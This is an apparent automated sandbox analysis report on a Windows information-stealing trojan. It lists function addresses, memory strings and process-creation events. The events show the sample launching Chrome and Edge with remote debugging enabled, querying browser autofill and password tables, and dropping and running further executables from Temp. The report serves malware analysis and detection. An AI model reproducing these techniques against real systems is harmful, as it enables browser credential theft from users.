Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C669F00	0_2_6C669F00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C697710	0_2_6C697710
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C65DFE0	0_2_6C65DFE0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C686FF0	0_2_6C686FF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6A77A0	0_2_6C6A77A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C69F070	0_2_6C69F070
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C678850	0_2_6C678850
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C67D850	0_2_6C67D850
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C69B820	0_2_6C69B820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6A4820	0_2_6C6A4820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C667810	0_2_6C667810
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C67C0E0	0_2_6C67C0E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6958E0	0_2_6C6958E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6C50C7	0_2_6C6C50C7
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6860A0	0_2_6C6860A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C66D960	0_2_6C66D960
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6AB970	0_2_6C6AB970
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6CB170	0_2_6C6CB170
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C67A940	0_2_6C67A940
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C65C9A0	0_2_6C65C9A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C68D9B0	0_2_6C68D9B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C695190	0_2_6C695190
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6B2990	0_2_6C6B2990
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C699A60	0_2_6C699A60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C671AF0	0_2_6C671AF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C69E2F0	0_2_6C69E2F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C698AC0	0_2_6C698AC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6522A0	0_2_6C6522A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C684AA0	0_2_6C684AA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C66CAB0	0_2_6C66CAB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6C2AB0	0_2_6C6C2AB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6CBA90	0_2_6C6CBA90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C66C370	0_2_6C66C370
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C655340	0_2_6C655340
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C69D320	0_2_6C69D320
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6C53C8	0_2_6C6C53C8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C65F380	0_2_6C65F380
Source: C:\Users\user\DocumentsAKKEGHJDHD.exe	Code function: 20_2_00628860	20_2_00628860
Source: C:\Users\user\DocumentsAKKEGHJDHD.exe	Code function: 20_2_00627049	20_2_00627049
Source: C:\Users\user\DocumentsAKKEGHJDHD.exe	Code function: 20_2_006278BB	20_2_006278BB
Source: C:\Users\user\DocumentsAKKEGHJDHD.exe	Code function: 20_2_006231A8	20_2_006231A8
Source: C:\Users\user\DocumentsAKKEGHJDHD.exe	Code function: 20_2_005E4B30	20_2_005E4B30
Source: C:\Users\user\DocumentsAKKEGHJDHD.exe	Code function: 20_2_00622D10	20_2_00622D10
Source: C:\Users\user\DocumentsAKKEGHJDHD.exe	Code function: 20_2_005E4DE0	20_2_005E4DE0
Source: C:\Users\user\DocumentsAKKEGHJDHD.exe	Code function: 20_2_00617F36	20_2_00617F36
Source: C:\Users\user\DocumentsAKKEGHJDHD.exe	Code function: 20_2_0062779B	20_2_0062779B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 21_2_00AD78BB	21_2_00AD78BB
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 21_2_00AD8860	21_2_00AD8860
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 21_2_00AD7049	21_2_00AD7049
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 21_2_00AD31A8	21_2_00AD31A8
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 21_2_00A94B30	21_2_00A94B30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 21_2_00A94DE0	21_2_00A94DE0
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 21_2_00AD2D10	21_2_00AD2D10
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 21_2_00AD779B	21_2_00AD779B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 21_2_00AC7F36	21_2_00AC7F36
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 22_2_00AD78BB	22_2_00AD78BB
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 22_2_00AD8860	22_2_00AD8860
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 22_2_00AD7049	22_2_00AD7049
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 22_2_00AD31A8	22_2_00AD31A8
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 22_2_00A94B30	22_2_00A94B30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 22_2_00A94DE0	22_2_00A94DE0
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 22_2_00AD2D10	22_2_00AD2D10
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 22_2_00AD779B	22_2_00AD779B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 22_2_00AC7F36	22_2_00AC7F36
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 24_2_00A9E530	24_2_00A9E530
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 24_2_00AB6192	24_2_00AB6192
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 24_2_00AD8860	24_2_00AD8860
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 24_2_00A94B30	24_2_00A94B30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 24_2_00A94DE0	24_2_00A94DE0
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 24_2_00AD2D10	24_2_00AD2D10
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 24_2_00AB0E13	24_2_00AB0E13
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 24_2_00AD7049	24_2_00AD7049
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 24_2_00AD31A8	24_2_00AD31A8
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 24_2_00AB1602	24_2_00AB1602
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 24_2_00AD779B	24_2_00AD779B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 24_2_00AD78BB	24_2_00AD78BB
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 24_2_00AB3DF1	24_2_00AB3DF1
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 24_2_00AC7F36	24_2_00AC7F36

Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6C68CBE8 appears 134 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6C6994D0 appears 90 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 00AC8E10 appears 47 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 00AADF80 appears 82 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 00AA7A00 appears 38 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 00AA80C0 appears 393 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 00AAD64E appears 79 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 00AAD663 appears 40 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 00AAD942 appears 86 times
Source: C:\Users\user\DocumentsAKKEGHJDHD.exe	Code function: String function: 005F80C0 appears 130 times

Source: file.exe, 00000000.00000002.2463732186.000000006C8D5000.00000002.00000001.01000000.00000009.sdmp	Binary or memory string: OriginalFilenamenss3.dll0 vs file.exe
Source: file.exe, 00000000.00000002.2463260539.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmp	Binary or memory string: OriginalFilenamemozglue.dll0 vs file.exe

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: file.exe

Static PE information: Section: orugtaro ZLIB complexity 0.9949233995046532

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@89/307@62/28

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C6B7030 GetLastError,FormatMessageA,__acrt_iob_func,__acrt_iob_func,__acrt_iob_func,fflush,LocalFree,

0_2_6C6B7030

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\6IUFDBJZ.htm

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8960:120:WilError_03
Source: C:\Users\user\AppData\Local\Temp\1005599001\9ec07c9018.exe	Mutant created: NULL
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Mutant created: \Sessions\1\BaseNamedObjects\006700e5a2ab05704bbb0c589b88924d

Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

File created: C:\Users\user\AppData\Local\Temp\28e60fd9-4af2-4a47-b644-122a96ebabe9.tmp

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: softokn3[1].dll.0.dr	Binary or memory string: CREATE TABLE metaData (id PRIMARY KEY UNIQUE ON CONFLICT REPLACE, item1, item2);
Source: file.exe, 00000000.00000002.2462889400.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2463590258.000000006C88F000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000000.00000002.2452681275.000000001D561000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: UPDATE %Q.sqlite_master SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: softokn3[1].dll.0.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;
Source: file.exe, 00000000.00000002.2462889400.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2463590258.000000006C88F000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000000.00000002.2452681275.000000001D561000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: file.exe, 00000000.00000002.2462889400.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2463590258.000000006C88F000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000000.00000002.2452681275.000000001D561000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: file.exe, 00000000.00000002.2462889400.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2463590258.000000006C88F000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000000.00000002.2452681275.000000001D561000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: softokn3[1].dll.0.dr	Binary or memory string: UPDATE %s SET %s WHERE id=$ID;
Source: softokn3[1].dll.0.dr	Binary or memory string: SELECT ALL * FROM metaData WHERE id=$ID;
Source: softokn3[1].dll.0.dr	Binary or memory string: SELECT ALL id FROM %s WHERE %s;
Source: softokn3[1].dll.0.dr	Binary or memory string: INSERT INTO metaData (id,item1) VALUES($ID,$ITEM1);
Source: softokn3[1].dll.0.dr	Binary or memory string: INSERT INTO %s (id%s) VALUES($ID%s);
Source: file.exe, 00000000.00000002.2462889400.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2463590258.000000006C88F000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000000.00000002.2452681275.000000001D561000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: INSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);
Source: file.exe, 00000000.00000002.2462889400.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2452681275.000000001D561000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(addr INT,opcode TEXT,p1 INT,p2 INT,p3 INT,p4 TEXT,p5 INT,comment TEXT,subprog TEXT,stmt HIDDEN);
Source: file.exe, 00000000.00000002.2462889400.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2463590258.000000006C88F000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000000.00000002.2452681275.000000001D561000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: softokn3[1].dll.0.dr	Binary or memory string: INSERT INTO metaData (id,item1,item2) VALUES($ID,$ITEM1,$ITEM2);
Source: file.exe, 00000000.00000002.2422651725.000000000074E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SELECT name, value FROM autofill9;
Source: file.exe, 00000000.00000003.2277952450.000000001D45D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2195571616.000000001D469000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 00000019.00000003.2816298272.0000000005569000.00000004.00000800.00020000.00000000.sdmp, 5912d4444a.exe, 00000019.00000003.2827029508.000000000558D000.00000004.00000800.00020000.00000000.sdmp, 5912d4444a.exe, 00000019.00000003.2816860980.000000000554B000.00000004.00000800.00020000.00000000.sdmp, 5912d4444a.exe, 0000001F.00000003.2949339937.0000000005299000.00000004.00000800.00020000.00000000.sdmp, 5912d4444a.exe, 0000001F.00000003.2949042451.00000000052B6000.00000004.00000800.00020000.00000000.sdmp, 5912d4444a.exe, 00000022.00000003.3248788627.0000000005989000.00000004.00000800.00020000.00000000.sdmp, 5912d4444a.exe, 00000022.00000003.3247968024.00000000059A8000.00000004.00000800.00020000.00000000.sdmp, BAEBGHCFCAAFIECAFIII.0.dr	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: file.exe, 00000000.00000002.2462889400.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2452681275.000000001D561000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY,parentnode);
Source: softokn3[1].dll.0.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;CREATE TEMPORARY TABLE %s AS SELECT * FROM %sD
Source: file.exe, 00000000.00000002.2462889400.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2452681275.000000001D561000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(type TEXT,schema TEXT,name TEXT,wr INT,subprog TEXT,stmt HIDDEN);
Source: softokn3[1].dll.0.dr	Binary or memory string: SELECT DISTINCT %s FROM %s where id=$ID LIMIT 1;

Source: file.exe

String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2204 --field-trial-handle=2164,i,15898123494483601464,15029883802132799241,262144 /prefetch:8
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default"
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2432 --field-trial-handle=2176,i,4830028604527488115,10037130413237682482,262144 /prefetch:3
Source: unknown	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=Default --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2988 --field-trial-handle=2076,i,5968905137283756732,12874145520682871177,262144 /prefetch:3
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=5236 --field-trial-handle=2076,i,5968905137283756732,12874145520682871177,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=7032 --field-trial-handle=2076,i,5968905137283756732,12874145520682871177,262144 /prefetch:8
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsAKKEGHJDHD.exe"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\DocumentsAKKEGHJDHD.exe "C:\Users\user\DocumentsAKKEGHJDHD.exe"
Source: C:\Users\user\DocumentsAKKEGHJDHD.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: C:\Windows\System32\conhost.exe	Process created: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe "C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe"
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=6316 --field-trial-handle=2076,i,5968905137283756732,12874145520682871177,262144 /prefetch:8
Source: C:\Windows\System32\conhost.exe	Process created: C:\Users\user\AppData\Local\Temp\1005597001\b84e35a556.exe "C:\Users\user\AppData\Local\Temp\1005597001\b84e35a556.exe"
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2988 --field-trial-handle=2076,i,5968905137283756732,12874145520682871177,262144 /prefetch:3
Source: C:\Windows\System32\conhost.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: C:\Windows\System32\conhost.exe	Process created: C:\Users\user\AppData\Local\Temp\1005599001\9ec07c9018.exe "C:\Users\user\AppData\Local\Temp\1005599001\9ec07c9018.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe "C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1005597001\b84e35a556.exe "C:\Users\user\AppData\Local\Temp\1005597001\b84e35a556.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1005599001\9ec07c9018.exe "C:\Users\user\AppData\Local\Temp\1005599001\9ec07c9018.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe "C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1005597001\b84e35a556.exe "C:\Users\user\AppData\Local\Temp\1005597001\b84e35a556.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default"	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsAKKEGHJDHD.exe"	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2204 --field-trial-handle=2164,i,15898123494483601464,15029883802132799241,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2432 --field-trial-handle=2176,i,4830028604527488115,10037130413237682482,262144 /prefetch:3	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2988 --field-trial-handle=2076,i,5968905137283756732,12874145520682871177,262144 /prefetch:3	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=5236 --field-trial-handle=2076,i,5968905137283756732,12874145520682871177,262144 /prefetch:8	Jump to behavior
